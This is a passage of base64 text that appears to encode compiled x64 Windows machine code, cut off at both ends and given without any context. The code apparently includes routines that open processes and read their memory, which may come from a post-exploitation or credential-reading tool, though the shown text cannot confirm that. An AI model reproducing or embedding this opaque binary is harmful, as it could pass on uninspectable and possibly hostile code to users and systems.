EUzyUiNQxRFM8BIiUXoM9JIjUXQSIlEJDCDZCQoAEiDZCQgAP8V9gMDAIXAdDBIjQ1LcQYA6B6u9f+LVdBIi03Y6K4U9v9IjQ1LmwMA6Aau9f9Ii03Y/xXMCQMA6xT/FeQJAwCL0EiNDZOhCADo5q31/4N7EAAPhI4AAABIjQ3FcAYA6NCt9f+LQxBIjUsUiUXgRTPJi0MMRTPASAPIM9JIjUXQSIlN6EiJRCQwSI1N4INkJCgASINkJCAA/xVeAwMAhcB0MEiNDWtxBgDohq31/4tV0EiLTdjoFhT2/0iNDbOaAwDobq31/0iLTdj/FTQJAwDrFP8VTAkDAIvQSI0N+6AIAOhOrfX/SIucJIAAAABIg8RwXcNIiVwkCEiJdCQQVVdBVUFWQVdIjWwk0EiB7DABAABIg2QkQABIjQUVJgoASINkJGAASI1VeEiDZCRoAEiNDd6hCACDZXAAD1fASIlEJDBIjQVDdwoASIlEJDjzD39EJFDzD39EJCDo7bX1/4XAD4R/AwAARItFeDPSuRgEAAD/FYwHAwBMi/hIhcAPhEwDAABBvgEAAABMjUQkKEGLzkiL0OiSofX/hcAPhCMDAABIi0wkKEiNVeBFM8Do5b31/4XAD4SgAgAASItF8EiNVCRISI1MJCBIiUQkIOjJvvX/hcAPhHcCAABIi0QkKEyNRCRQTItsJEhBjVYNSIlEJFhIjUwkMEmLRTBIiUQkUEGLRVBIiUQkYOitpPX/hcAPhCQCAABIi0QkaEWNRgNIg8DrSI1UJCBIiUQkIEiNTCQwSI1FcEiJRCQw6EOi9f+FwA+E6QEAAEiLRCQgRY1GB0hjTXBIjVQkIEiDwAVIA8hIjUQkQEiJTCQgSI1MJDBIiUQkMOgJovX/hcAPhKYBAABIi0QkQEWNRidIiUQkIEiNVCQgSI1FAEiNTCQwSIlEJDDo26H1/4XAD4RvAQAASItFGEWNRmdIiUQkIEiNVCQgSI1EJHBIjUwkMEiJRCQw6K2h9f+FwA+EOAEAAESLTCR4SI0NUaAIAESLRYCLVCR86Dyr9f+LVCR8QY1OP0jB4gP/FTIHAwBIi/BIhcAPhPgAAACLTCR8M9tBi/6FyXRBhf8PhLYAAACLVYC5QAAAAP8VAwcDAEiJBN5IhcB0BUEj/usOi9NIjQ08oAgA6N+q9f+LTCR8QQPeO9lyw4X/dH1Ii1XARYvOSItMJChMi8bomAEAAEiLVchFM8lIi0wkKEyLxuiEAQAAi0wkfDPbhcl0S0iNDV+ABQDokqr1/zP/OX2AdiFIiwTeSI0NoKAIAA++FAfod6r1///HO32AcuVBvgEAAABIjQ2jlwMA6F6q9f+LTCR8QQPeO9lytTPbhcl0HEiDPN4AdA5Iiwze/xUMBgMAi0wkfEED3jvZcuRIi87/FfgFAwDrOUiNDeefCADrK0iNDT6gCADrIkiNDZWgCADrGUiNDeygCADrEEiNDUOhCADrB0iNDZqhCADo7an1/0mLzf8VtAUDAOsVSI0N46EIAOsHSI0NWqIIAOjNqfX/SItcJChIhdt0VIsLg+kBdDqD6QF0DIPpAXQwg/kDdTXrKUiLewhIhf90KkiLP0iLTwhIhcl0Bv8V8AMDAEiLD0iFyXQG/xViBQMASItLCP8VSAUDAEiLy/8VPwUDAEmLz/8VRgUDAOsi/xVOBQMAi9BIjQ1NoggA6FCp9f/rDEiNDa+iCADoQqn1/0yNnCQwAQAAM8BJi1swSYtzOEmL40FfQV5BXV9dw0iLxEiJWAhIiXAQSIl4GEyJYCBVQVZBV0iL7EiB7IAAAABBi8FIiVWw99hIiU24SI1F4E2L+EUb9kiJRaBIjQU4cwoAQYPmA0G4IAAAAEiJRahIjVWwQf/GSI1NoEWL4egPn/X/hcAPhEwBAACLVeC5QAAAAEjB4gP/Fa0EAwBIi/hIhcAPhDoBAABIi03wSI1VsESLReBIiU2wSI1NoEnB4ANIiUWg6Mie9f+FwA+E7gAAADPbOV3gD4bvAAAASI1FwEG4IAAAAEiJRaBIjVWwSIsE30iNTaBIiUWw6JKe9f+FwA+EnQAAAItVwLlAAAAAQQ+v1v8VMAQDAEiJRaBIhcAPhIwAAABEi0XASI1VsEiLRdBIjU2gRQ+vxkiJRbDoTp71/4XAdENFM8BEOUXAdkhIi0WgRYXkdBdCixSASI0F1WAEAEuLDMeKBAKIBAvrD0GAPAAAdAhLiwTHxgQDKkH/wEQ7RcByyOsOi9NIjQ2WoQgA6Kmn9f9Ii02g/xVvAwMA6w6L00iNDSyiCADoj6f1///DO13gD4If////6wxIjQ3DoggA6Han9f9Ii8//FT0DAwDrDEiNDTyjCADoX6f1/0yNnCSAAAAASYtbIEmLcyhJi3swTYtjOEmL40FfQV5dw8zMSIvESIlQEEyJQBhMiUggU1ZXSIPsMEiL2kiNcBhIi/noAw32/0iJdCQoTIvLSINkJCAASYPI/0iL10iLCEiDyQHodg8CAEiDxDBfXlvDzMxMi9xJiVsISYlzEFdBVEFVQVZBV0iB7LACAABIi/pEi+Ez20mJm+j9//9JiZvQ/f//D1fAM8APEYQkgAEAAA8RhCSQAQAADxGEJKABAABJiYPY/v//iYQkuAEAADPSQbiAAAAASY2L+P3//+jEGwEAiZwk8AIAAEiJnCSgAAAASImcJJgAAABIiVwkeEiJXCRwRIvrSImcJLAAAABIiVwkIEUzyUyNBUGjBgBIi9dBi8zoRhL2/4mEJIwAAABIiVwkIEUzyUyNBZijCABIi9dBi8zoJRL2/0SL+EiJXCQgRTPJTI0Fg6MIAEiL10GLzOgIEvb/iYQkgAAAAEiJXCQgRTPJTI0FaqMIAEiL10GLzOjnEfb/iYQkiAAAAEiJXCQgRTPJTI0FWaMIAEiL10GLzOjGEfb/iYQkhAAAAEiJXCQgRTPJTI0FQKMIAEiL10GLzOilEfb/iYQk+AIAAEiJnCRQAQAAiZwkWAEAAEiJnCRgAQAAiZwkaAEAAEiJnCRwAQAAiZwkeAEAAMeEJHwBAAACAAAASIlcJCBMjUwkeEyNBaUxBgBIi9dBi8zoShH2/4XAdR9IjYwkwAAAAOhFmPX/hcB0DkiLhCTAAAAATItwGOsFTIt0JHhNhfYPhJkGAAC6LgAAAEmLzujkEwEASIXAD4SDBgAASYvWSI0NWTEGAOjkpPX/SIlcJCBMjUwkcEyNBSsxBgBIi9dBi8zo2BD2/4XAdUhIiVwkIEyNTCRwTI0Fa6IIAEiL10GLzOi4EPb/hcB1KEyNhCSwAAAAjVAQSYvO6BWY9f9Ii3QkcEyLrCSwAAAAhcBJD0X16wVIi3QkcEiF9g+E9QUAAEiL1kiNDbwxBgDoX6T1/0WF/3VXSIlcJCBMjYwkmAAAAEyNBV5NBQBIi9dBi8zoSxD2/4XAdS9IiVwkIEyNjCSgAAAATI0F86wGAEiL10GLzOgoEPb/hcB1DEiNDVWlCADpnwUAAEWF/3QMSYvWSI0NuaEIAOslSIuUJJgAAABIhdJ0CUiNDduhCADrD0iLlCSgAAAASI0NCqIIAOjNo/X/gz3edgoABhvAg+AHg8AJSIlcJFhIjYwkUAEAAEiJTCRQSIlcJEiJRCRASI1EJHBIiUQkOEiNBRKiCABIiUQkMEiNRCR4SIlEJChIiVwkIEUzyUUzwEiL10GLzOh95fX/i4QkWAEAAPfYSBvJSI2EJFABAABII8iDPWd2CgAGG8CD4AeDwAm6CgAAADmcJPgCAAAPRcJIjRX17vX/SIlUJFBIjZQkuAAAAEiJVCRIiVwkQEiJTCQ4iUQkML8BAAAAiXwkKEiLRCR4SIlEJCBFM8lMi8ZIjRVqSQUA6A3i9f+FwA+EgQQAAEiNhCRwAgAASIlEJDhIjYQkiAEAAEiJRCQwSIuEJJgAAABIiUQkKEiLhCSgAAAASIlEJCBMjYwk0AAAAE2LxkiL1kiNjCS4AAAA6M7u9f+FwA+EBgQAAIuUJIwCAACF0nQMSI0NFKEIAOh3ovX/TI2MJHACAABMjYQkqAAAAEiNlCTQAAAASI2MJLgAAADotvL1/4XAD4TCAwAASI2EJIABAABIiYQk8AAAAMeEJBgBAAAwgCgAQYvH99gbyYHh5wMAAAPPiYwkHAEAAMeEJCABAAAAAKAAQYvH99gbyffRg+EGiYwkJAEAAEGLx/fYSBvSSIPizEiDwli5QAAAAP8V6P0CAEiJhCQwAQAASIXAD4RHAwAAiThIi4QkMAEAAIlYBEiLhCQwAQAAi/NFhf90UsdACAYAAABIi4QkMAEAADlYCA+GhgAAAEyNJezj9P+L1kyNQAxNjQSQRIvPSYuU1JB5DwBIjYwkQAEAAOiC+PX/A/dIi4QkMAEAADtwCHLP60zHQAgTAAAASIuEJDABAAA5WAh2OEyNJZ7j9P+L1kyNQAxNjQSQRIvPSYuU1MB4DwBIjYwkQAEAAOg0+PX/A/dIi4QkMAEAADtwCHLPM9JBuKgAAABIjYwkwAEAAOhIFgEASI2EJMABAABIiUQkMEiNhCTwAgAASIlEJChIjYQk0AAAAEiJRCQgQbkIAAAATIuEJKgAAABIjRU0uwMASI0NBb4DAP8Vv/4CAEiJhCT4AgAAhcAPhVYBAACLlCTwAgAAg/oGD4XgAAAARYX/dQ05vCQ0AgAAD4XOAAAASIuUJEACAABIjYwkIAIAAOiI8/X/hcAPhKAAAABMi6QkQAIAAIvziZwkkAAAADu0JDQCAABzTEmNVCQYSI2MJCACAAA5nCSAAAAAdBdEi4wkhAAAAESLhCSIAAAA6LcCAADrEESLjCSMAAAATYvG6I0EAABNiyQkA/eJtCSQAAAA66tFhf90Wg8ohCTQAQAA8w9/hCTgAAAADyiMJAACAAAPEYwk+AAAAPIPEIQkEAIAAPIPEYQkCAEAAOslSI0NqZ4IAOi8n/X/6YQAAABEi4QkNAIAAEiNDSCfCADoo5/1/4uUJPACAACLwoPoAXQ2g+gBdDGD6AR0FoPoAXQng/gCdCJEi8JIjQ0PYwUA6zBIjRWm/fX/SI2MJMABAADo4eb1/+sfSI0NYGIFAOhTn/X/6xFEi8CL0EiNDY2fCADoQJ/1/zmcJEgCAAAPhR7+//9MjYQkqAAAAEiNFUq5AwBIjQ1lvAMA/xUf/QIASIlEJHjrHkSLwIvQSI0NzJ8IAOj/nvX/M9uNewFMi6wksAAAAEiLlCRIAQAASIXSdEqL80SLhCRAAQAARYXAdC2LxkiNDEBIi0zKEEiFyXQW/xWQ+gIASIuUJEgBAABEi4QkQAEAAAP3QTvwctNIhdJ0CUiLyv8Va/oCAEiLjCQwAQAASIXJdAb/FVj6AgBIjYwkuAAAAOh73/X/6xVIjQ06oAgA6wdIjQ2xoAgA6GSe9f9Nhe10CUmLzf8VJvoCAEiLjCTAAAAASIXJdAb/FXvyAgAzwEyNnCSwAgAASYtbMEmLczhJi+NBX0FeQV1BXF/DSIlcJAhIiWwkEESJRCQYVldBVkiD7DAz/zPbSYvpi/JMi/GF0nR5i8tMjUQkIEkDzkiNVCRg/xUg8wIAM/+FwEAPmceFwHhFg3wkcABIi9V0FUSLw0iNDbCgCABBwegE6L+d9f/rDEiNDb6gCADosZ31/0UzwEiNTCQgQY1QEOgYB/b/SI0N2YoDAOsHSI0NuKAIAOiLnfX/g8MQO95yh0iLXCRQi8dIi2wkWEiDxDBBXl9ew8zMzEyL3EmJWwhJiXMQSYl7IFVIi+xIg+xgQYvxSIvaSIv5RYXAdTBIjUXQTI1N2EmJQ7hMjQWUmggA6NP19f9IhcB0E4N90AR1DUiLRdiDOAAPhXsBAABIg2QkIABMjQWSmQgARTPJSIvTSIvP6KD19f9IhcAPhFcBAABIg2QkIABMjU3gTI0F+pkIAEiL00iLz+h79fX/SIXAD4QyAQAASI1F0EiL00yNTdhIiUQkIEyNBX9WBQBIi8/oU/X1/0iFwA+ECgEAAEiLTeD/FezwAgBIi03gD7YQ/8r/FdXwAgBIjQ3WbAgAixCJVSDofJz1/4NkJCAATI0N+JgIAEyLw0iL1zPJ6HP19f9IjQ0kcgUA6Fec9f9Ii03YTI1F6EiNVSD/FX3xAgCFwHgSRTPASI1N6EGNUBDoqQX2/+sMSI0NEKAIAOgjnPX/SINkJCAATI1N2EyNBeKYCABIi9NIi8/oq/T1/0iFwHRahfZ0RINlIABIi13YSI0Nt3EFAOjqm/X/i00giwMPo8hzGkiNBeFUBABIixTISI0NtnEFAOjJm/X/i00g/8GJTSCD+SByxusSSItF2EiNDWf+BwCLEOiom/X/SI0N4YgDAOicm/X/TI1cJGBJi1sQSYtzGEmLeyhJi+Ndw8zMSIvESIlYCEiJaBBIiXAYV0iD7DBJi/DHQOgBAAAATIvCSIvaSIvRQYvpSIv5TI0NwJcIAEiNDcmfCADoVPT1/0iNDX2IAwDoOJv1/0iDZCQgAEyNBbOXCABFM8lIi9NIi8/owfP1/0iL00iLz0iFwHQH6GkAAADrUkiDZCQgAEyNBUaYCABFM8nomvP1/0iL00iLz0iFwHQKTIvG6PsHAADrKEiDZCQgAEyNBURVBQBFM8nocPP1/0iFwHQORIvFSIvTSIvP6NEJAABIi1wkQEiLbCRISIt0JFBIg8QwX8NIiVwkCEiJdCQQVVdBVUFWQVdIi+xIg+wwSIvxSIv6SI0NbqUIAOh5mvX/Qb0BAAAATI0N9JYIAEyLx0SJbCQgSIvWSI0NcqUIAOhl8/X/TI0N7pYIAESJbCQgTIvHSI0Nh6UIAEiL1uhH8/X/SINkJCAATI1NQEyNBd6WCABIi9dIi87ov/L1/0iFwA+EtgAAAEiLRUCLELgAAAAwO9B3VnRLi8KF0nQ8LQAAABB0LEErxXQeLf///w90DkE7xXVQTI0F/KMIAOtyTI0F06MIAOtpTI0FkqMIAOtgTI0FaaMIAOtXTI0FQKMIAOtOTI0FB6QIAOtFi8ItAQAAMHQ1QSvFdCct/v//D3QXQTvFdAlMjQUkBgUA6yJMjQVTpAgA6xlMjQUqpAgA6xBMjQUBpAgA6wdMjQXYowgASI0N2aQIAOhcmfX/SINkJCAATI1NQEyNBRuWCABIi9dIi87o5PH1/0iFwHRLTIt9QEiNDfCkCABBixfoKJn1/zPbTI01J1IEAEGLBw+j2HMPSYsWSI0N7W4FAOgImfX/QQPdSYPGCIP7IHLdSI0N2eoEAOjwmPX/SINkJCAATI1NQEyNBceVCABIi9dIi87oePH1/0yNPQ2GAwBIhcB0NEiNDcGkCADovJj1/0iLTUBIhcl0F0iNVUj/FUH0AgCFwHQJSI1NSOjUAvb/SYvP6JSY9f9Ig2QkIABMjU1ATI0Fg5UIAEiL10iLzugc8fX/SIXAdDRIjQ2cpAgA6GeY9f9Ii01ASIXJdBdIjVVI/xXs8wIAhcB0CUiNTUjofwL2/0mLz+g/mPX/TI0FaJUIAEiL10iLzuhV8PX/SIvYSIXAdERIjQ1+pAgA6BmY9f9FM/ZEOTN2MEiNDVbmBgDoBZj1/0iLSwhBi8ZIA8BIi0zBCOj9Avb/SYvP6OmX9f9FA/VEOzNy0EiDZCQgAEyNTUBMjQXolAgASIvXSIvO6Gnw9f9IhcAPhFABAABIjQ01pAgA6LCX9f9Ii11ASIvL6LAC9v9Ji8/onJf1/0iLy/8V4+sCAEiLyw+2EEEr1f8VzOsCAEiNDS2kCACLGIvT6HSX9f9IjQ1VpAgA6GiX9f9IjUVASIvXTI1NSEiJRCQgTI0FGVEFAEiLzujt7/X/SIXAdBuDZCQgAEyNDSAzBwCLVUBEi8NIi01I6AX5//9IjUVASIvXTI1NSEiJRCQgTI0F8lAFAEiLzuiu7/X/SIXAdBuLVUBMjQ2DPgUASItNSESLw0SJbCQg6Mb4//9IjUVASIvXTI1NSEiJRCQgTI0Fy1AFAEiLzuhv7/X/SIXAdBuDZCQgAEyNDcIyBwCLVUBEi8NIi01I6If4//9IjUVASIvXTI1NSEiJRCQgTI0FpFAFAEiLzugw7/X/SIXAdBuLVUBMjQ11MgcASItNSESLw0SJbCQg6Ej4//9IjUVASIvXTI1NSEiJRCQgTI0FfVAFAEiLzujx7vX/SIXAdBVIjQ2JMgcA6DyW9f9Ii01I6BcAAABIi1wkYEiLdCRoSIPEMEFfQV5BXV9dw0iJTCQIVVNWV0FUQVVBVkFXSIvsSIPsOIN5BGJMi/EPhv4CAABmg3lsUA+F8wIAAEUz/2ZEOXluD4TlAgAARYvvRIl9UEiNcXAPhtQCAAAPtwZIjVXoZolF6kiNDcOiCABmiUXoSI1GBkiJRfAPtwYPt14CSIPABkgDxtHrSIlFYOiWlfX/i9O5QAAAAESL4/8VjvECAEiL+EiFwA+EWwIAAIXbdDhMi3VgTIvoQ40MP0kDzkyNRVhIjRX5jQUA6Bzu//+KRVhB/8dBiEUASf/FRDv7ctdMi3VIRIttUEGwAUiNVehIjQ1YUQQA/xWK+AIARTP/hMAPhdYBAABBsAFIjVXoSI0NmU8EAP8Va/gCAITAD4W6AQAAQbABSI1V6EiNDU1RBAD/FU/4AgCEwHRURDh/Aw+GrQEAAEGNXwGL00iNDTRMBwDoz5T1/0UzwEGLz0j/wUjB4QRIA89BjVAQ6C7+9f9IjQ3vgQMA6KqU9f8PtkcDRIv7O9hyvkUz/+ljAQAAQbABSI1V6EiNDcFQBAD/FeP3AgCEwHRORItHDEiNDexLBwAPt1cITAPHSNHq6GWU9f9ED7dHBEiNVxBMjQ0FTAcASIvP6OnO/v9ED7dHBkyNDQlMBwBIi9BIi8/o0s7+/+n9AAAAQbABSI1V6EiNDTtQBAD/FX33AgCEwHR9RItHEEiNDfZLBwAPt1cMTAPHRItPFEjR6uj7k/X/RA+3RwRIjVcYTI0Nm0sHAEiLz+grz/7/RA+3RwZMjQ0vTAcASIvQSIvP6BTP/v9ED7dHCEyNDYhLBwBIi9BIi8/o/c7+/0QPt0cKTI0NKUwHAEiL0EiLz+jmzv7/62hBsAFIjVXoSI0N1k8EAP8V6PYCAITAdCdIjQ0lTAcA6HiT9f9FM8CL00iLz+jj/PX/SI0NpIADAOhfk/X/6ylIjQ12oAgA6FGT9f9BuAEAAADr1EnR7EiNDYdKBwBJi9RMi8foNJP1/0iNDW2AAwDoKJP1/0iLz/8V7+4CAA+3RgJB/8UPtw5IA8ZEiW1QSI1xBkgD8EEPt0ZuRDvoD4Is/f//SIPEOEFfQV5BXUFcX15bXcNIiVwkCEiJdCQQSIl8JBhVSIvsSIHsgAAAAEiL+UmL8EiNDQmgCABIi9rouZL1/0iNRShIi9NMjU2wSIlEJCBMjQXqjwgASIvP6D7r9f9IhcAPhKEAAACLRShIjVW4ZolFukiNDQ+gCABmiUW4SItFsEiJRcDobpL1/0GwAUiNVbhIjU3Y/xU99gIAhcB4aUiL1kiNTej/FXT1AgBBsAFIjVXoSI1NyP8VG/YCAIXAeD1MjU3Yx0QkIAEAAABMjUXISIvTSIvP6EgAAACDZCQgAEyNTdhMjUXISIvTSIvP6DAAAABIjU3I/xWy9QIASI1N2P8VqPUCAEyNnCSAAAAASYtbEEmLcxhJi3sgSYvjXcPMzMxMi9xJiVsISYlrEEmJcxhJiXsgQVZIg+xAi2wkcEiNBfBLBQBJi/hJi9mF7UyNBflLBQBNjUvoTA9FwEmNQyhJiUPY6DDq9f9IhcAPhIAAAACF7UiNBSpNBwBIi/NMjTUQTQcASA9E90wPRPBID0T7SItcJDCDOwB0V4N7BAB0LkSLQwRIjQXZTAcAhe1IiXQkKEyNDbtMBwBIiXwkIEwPRMhMA8Mz0jPJ6B7N/v+DewgAdB1Ei0MITYvOTAPDSIl0JCgz0kiJfCQgM8no+8z+/0iLXCRQSItsJFhIi3QkYEiLfCRoSIPEQEFew0yL3EmJWwhJiXMQSYl7GFVBVkFXSIvsSIPsYEWL+EiNRThMjQUvjQgASYlDqEyNTdBIi/JMi/HoUOn1/0iFwA+EhwEAAIt9OLlAAAAASI1XAv8VmewCAEiL2EiFwA+EaQEAAEiLVdBEi8dIi8joHgoBAEiNRThIi9ZMjU3QSIlEJCBMjQXPSgUASYvO6Pvo9f9IhcAPhCkBAABIjRUPnggASIvL6KP/AABIO9gPhf8AAABIjRUPnggASIvL6BNPAQCFwHQTSI0VJJ4IAEiLy+gATwEAhcB1LIN9OBB1JkiNDUOeCADo/o/1/0iLTdDozfr1/0iNDV6eCADo6Y/1/+m/AAAAuiAAAABIjUsS6L7+AABIi/hIhcAPhKUAAABIK/u5QAAAAEiD7xJI0f9mA/+NVwQPt9JmiVXaZolV2P8VrOsCAEiJReBIhcB0drl7AAAARA+3x2aJCEiNUxJIi03gSIPBAugmCQEAD7dN2Lp9AAAASItF4EjR6WaJVEj+SI1V6EiNTdj/FcvyAgCFwHgURItFOEiNTehIi1XQRYvP6I/U/v9Ii03g/xUJ6wIA6xKLVThBuAEAEABIi03Q6J349f9Ii8v/FezqAgBMjVwkYEmLWyBJi3MoSYt7MEmL40FfQV5dw8zMSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wggzkASIv5dHcz9jkxdmeLxkUz9khr2FhIA18IRDlzRHZES40stkjB5QRIA2tIi0U4hcB0KEUz/4XAdBdIi01ISosM+f8Vb+oCAEH/x0Q7fThy6UiLTUj/FVzqAgBB/8ZEO3NEcrxIi0tI/xVJ6gIA/8Y7N3KZSItPCP8VOeoCAIMnADP2SINnCAA5dxB2LUiLTxhIjRx2SIsM2f8VGOoCAEiLRxhIi0zYCEiFyXQG/xUE6gIA/8Y7dxBy00iLTxj/FfPpAgBIg2cYALgBAAAAg2cQAEiLXCRASItsJEhIi3QkUEiDxCBBX0FeX8NIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7CAz/0iL6kiL8Tk5diBEi/dIi9VJa95YSANeCEiLC+iuTAEAhcB0If/HOz5y4DPASItcJEBIi2wkSEiLdCRQSIPEIEFfQV5fw4M+AXUKSIvO6JD+///r2DPtOWtEdkZIjTy/SAP/TItzSEGLRP44hcB0K0Uz/4XAdBlJi0z+SEqLDPn/FS3pAgBB/8dFO3z+OHLnSYtM/kj/FRjpAgD/xTtrRHLBSItLSP8VB+kCAEiLTgiLBkhr0Fi4AQAAAA8QRAqoDxEDDxBMCrgPEUsQDxBECsgPEUMgDxBMCtgPEUswDxBECugPEUNA8g8QTAr48g8RS1D/Duk0////zMxIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wgM9tNi+hMi+JIi+mL+zkZdiCL90mL1Exr9lhMA3UISYsO6JJLAQCFwHQm/8c7fQBy4DPASItcJFBIi2wkWEiLdCRgSIPEIEFfQV5BXUFcX8NEi/tBOV5EdthIjTy2SAP/SYt2SEmL1UiLDP5IiwnoRUsBAIXAdAtB/8dFO35EcuDrr0GDfkQBdQ1Ji9RIi83oPP7//+udOVz+OHYXSItM/khIiwzZ/xXx5wIA/8M7XP44culIi0z+SP8V3ucCAEmLTkhBi0ZESI0UgLgBAAAASAPSDxBE0bAPEQT+DxBM0cAPEUz+EA8QRNHQDxFE/iAPEEzR4A8RTP4wDxBE0fAPEUT+QEmDRkiw6Sb////MzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgi0EQM/ZNi/BIi/pIi9mFwHQhSItLGEiNLHZIi9dIiwzp6GlKAQCFwHQ5i0MQ/8Y78HLfSItzGP/AuUAAAABIjRRASMHiA/8VX+cCAEiJQxhIi8hIhcB1G0iJcxgzwOmAAQAASItLGEiNFOlJiRbpawEAAItDEEiL1kyNBEBJweAD6MUEAQBIhfZ0CUiLzv8V3+YCAEiLUxhFM8BMi8pMK85EOQN2Q0GLwEUz0kxr2FhIi0MIRjlUGER2IkiLSwhLjRSSSAPSQf/CSotEGUhMAQzQSItDCEY7VBhEct5B/8BEOwNywUiLUxiLQxBIjQxASI0MykiL10mJDujM+PX/hcAPhFX/////QxBIjRUymQgASIvP6HZJAQCFwA+EswAAAEiNFTOZCABIi8/oX0kBAIXAD4ScAAAASI0VPJkIAEiLz+hISQEAhcAPhIUAAABIjRU1mQgASIvP6DFJAQCFwHRySI0VSpkIAEiLz+geSQEAhcB0X0iNFVeZCABIi8/oC0kBAIXAdExIjRVkmQgASIvP6PhIAQCFwHQ5SI0VaZkIAEiLz+jlSAEAhcB0JkiNFYaZCABIi8/o0kgBAIXAdBNIjRWbmQgASIvP6L9IAQCFwHUKSYsGx0AUAQAAALgBAAAASItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7CCLAU2L8EiL6kiL2YP4AHQnM/87x3Yhi8dIi9VIa/BYSANzCEiLDuhMSAEAhcB0VYsD/8c7+HLfSIt7CI1IAUhr0Vi5QAAAAP8VRuUCAEiJQwhIhcB0PosLSIvVSGvJWEgDyEmJDuhJ9/X/SItLCIXAdByLA0iL10xrwFjoswIBAP8D6wNJiTa4AQAAAOsM/xXH5AIASIl7CDPASItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DzMxIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7CBBi0BESYvYTYvxSIvqTIv5RIvAhcB0LzP2hcB0KUiNPLZIi9VIwecESAN7SEiLD0iLCehxRwEAhcB0a0SLQ0T/xkE78HLXSIt7SEGNQAFIjRSAuUAAAABIweIE/xVj5AIASIlDSEiFwHRQi0tESIvXTI0EiUiLyEnB4ATo5AEBAItDREiL1UmLz0yNBIBJweAETANDSE2JBuhj/P//hcB0D/9DROsDSYk+uAEAAADrEEiLS0j/FdLjAgBIiXtIM8BIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMzMSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wgQYvoSIvaTIv5RYXAdAeLejj/x+sFvwEAAABIi3JIuUAAAACLx0yNNMUAAAAASYvW/xWa4wIASIlDSEiFwHRTSI1I+EmL10kDzuii9fX/hcB0NoXtdBqDezgAdBREi0M4SIvWSItLSEnB4APoAAEBAIl7OEiF9nQJSIvO/xUX4wIAuAEAAADrEEiLS0j/FQbjAgBIiXNIM8BIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMzMSIlcJAhIiXQkEFVXQVRBVkFXSIvsSIPscEUz5EmL+IvyTIllwEiL2UyJZchIi9dMiWXQi85MiWXYRTPJTIlkJCBMjQVMpQcA6Nfy9f9FM8lMiWQkIEyNBaCWCABIi9eLzkSL8Oi78vX/TI1NSEyJZCQgTI0Fm5YIAEiL14vORIv46J7y9f+FwA+E8gEAAEyNTeBMiWQkIEyNBYaWCABIi9eLzuh88vX/hcAPhKkBAABMjU3ATIlkJCBMjQV8lggASIvXi87oWvL1/4XAD4RcAQAASItVSEyNRehIi8vojvz//4XAD4Q7AQAATIt16EyNTUhIi1XgTYvGSIvL6D/9//+FwA+EEwEAAEiLXUhFi8dIi03ASIvT6Bj+//+FwA+E7wAAAEyNTchMiWQkIEyNBRiWCABIi9eLzujm8fX/hcB0MkiLVchIjU3w/xXs6AIASI1TDEiNTfD/FSbpAgCFwHgGg0sIAesMSI0NDZYIAOighfX/TI1N0EyJZCQgTI0FiJYIAEiL14vO6Jbx9f+FwHQVSItN0EUzwDPS6LRjAQCJQxyDSwgCTI1N2EyJZCQgTI0FfZYIAEiL14vO6GPx9f+FwHQjSItN2EiNUyDohvv1/4XAdAaDSwgE6wxIjQ15lggA6CyF9f9FM8lMiWQkIEyNBf2WCABIi9eLzugj8fX/hcAPhJIAAABBg05QAumIAAAASI0N8pYIAOt6SI0NaZcIAOtxSI0N4JcIAOtoRYX2dB1Mi0XgSIvLSItVSOjp9///hcB1VEiNDT6YCADrRkiNDcWYCADrPUWF9nQZSItVSEiLy+iu9v//hcB1LUiNDReZCADrH0iNDY6ZCADrFkWF9nQKSIvL6If1///rDEiNDfaZCADoeYT1/0yNXCRwM8BJi1swSYtzOEmL40FfQV5BXF9dw8zMSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wgM/9Ii9k5OQ+GzQAAAEiLUQiLx0iNDRKaCABIa/BYTIsEFovX6BuE9f9Ii1MIM+05bBZED4aXAAAASIvKSItEDkhMjTytAAAAAEwD/UiNDQGaCABJwecEi9VNiwQHTYsA6N+D9f9Ii1MITItEFkhNA8dBi0A4hcB1EkiNDQyaCADov4P1/0iLUwjrNkUz9kiLyoXAdC9Ni0BISI0NXJoIAEGL1k+LBPDomIP1/0iLUwhB/8ZMi0QWSE0Dx0U7cDhy1EiLyv/FO2wORA+CbP/////HOzsPgjf///9Ii1wkQDPASItsJEhIi3QkUEiDxCBBX0FeX8PMzMxIiVwkCFdIg+wgM9v/FcLkAgBIi/hIhcB0a0iLyP8VueQCAIP4AXVUjVMQjUtA/xUg3wIASIvYSIXAdEBIixe5QAAAAESLAkGL0ESJAP8VAd8CAEiJQwhIhcB0FEiLF0iLyESLA0iLUgjohvwAAOsMSIvL/xWj3gIASIvYSIvP/xU/5AIASIvDSItcJDBIg8QgX8PMSIlcJAhXSIPsIDP/SIl8JEj/FVHkAgBIi9hIhcB0KUiLyP8VgOQCAIP4AXUSSIsTSI1MJEjopvD1/0iLfCRISIvL/xVo4wIASItcJDBIi8dIg8QgX8PMzEBVU1ZXQVRBVkFXSIvsSIPscEiDZfAASI0FIs8HAEiDZVAAD1fASINlQABNi/BIiUXYTIviQQ8RAEiNBfiYCABIi9lIiUXgSI0VOpkIAEEPEUAQSI0F/pgIAEiJRegzwEmJQCBMi0EwSI1N0Oi39vX/vgEAAACFwA+EOgIAAE2LxEiNFSCZCABIjU1Y6Jf29f+FwA+EFQIAAEyLTVhIjUVQSItV0ESNRgFIi4vQAAAASIlEJDCDZCQoAEiDZCQgAP8V8uICAIXAD4W2AQAASItVUEiLi9AAAAD/FfHiAgA7xg+FrgEAAEiLVVBIi4vQAAAA/xWY4gIATIv4SIXAD4SRAQAASIuL0AAAAEiNRUBIiUQkMEyNDd2YCACDZCQoAEiNRdhEi8ZIiUQkIEmL1/8Vg+ICAIXAD4UcAQAASItVQEiLi9AAAAD/FYLiAgA7xg+F9QAAAEyLRdhIi1VASIuL0AAAAOiq/f//SIv4SIXAdC+DOBB1EEiLSAgPEAFBiTbzQQ9/RgRIi0gISIXJdAb/FZrcAgBIi8//FZHcAgDrE0iLVdhIjQ18mAgATYvE6KyA9f9Mi0XgSItVQEiLi9AAAADoTP3//0iL+EiFwHQwgzgQdRFIi0gID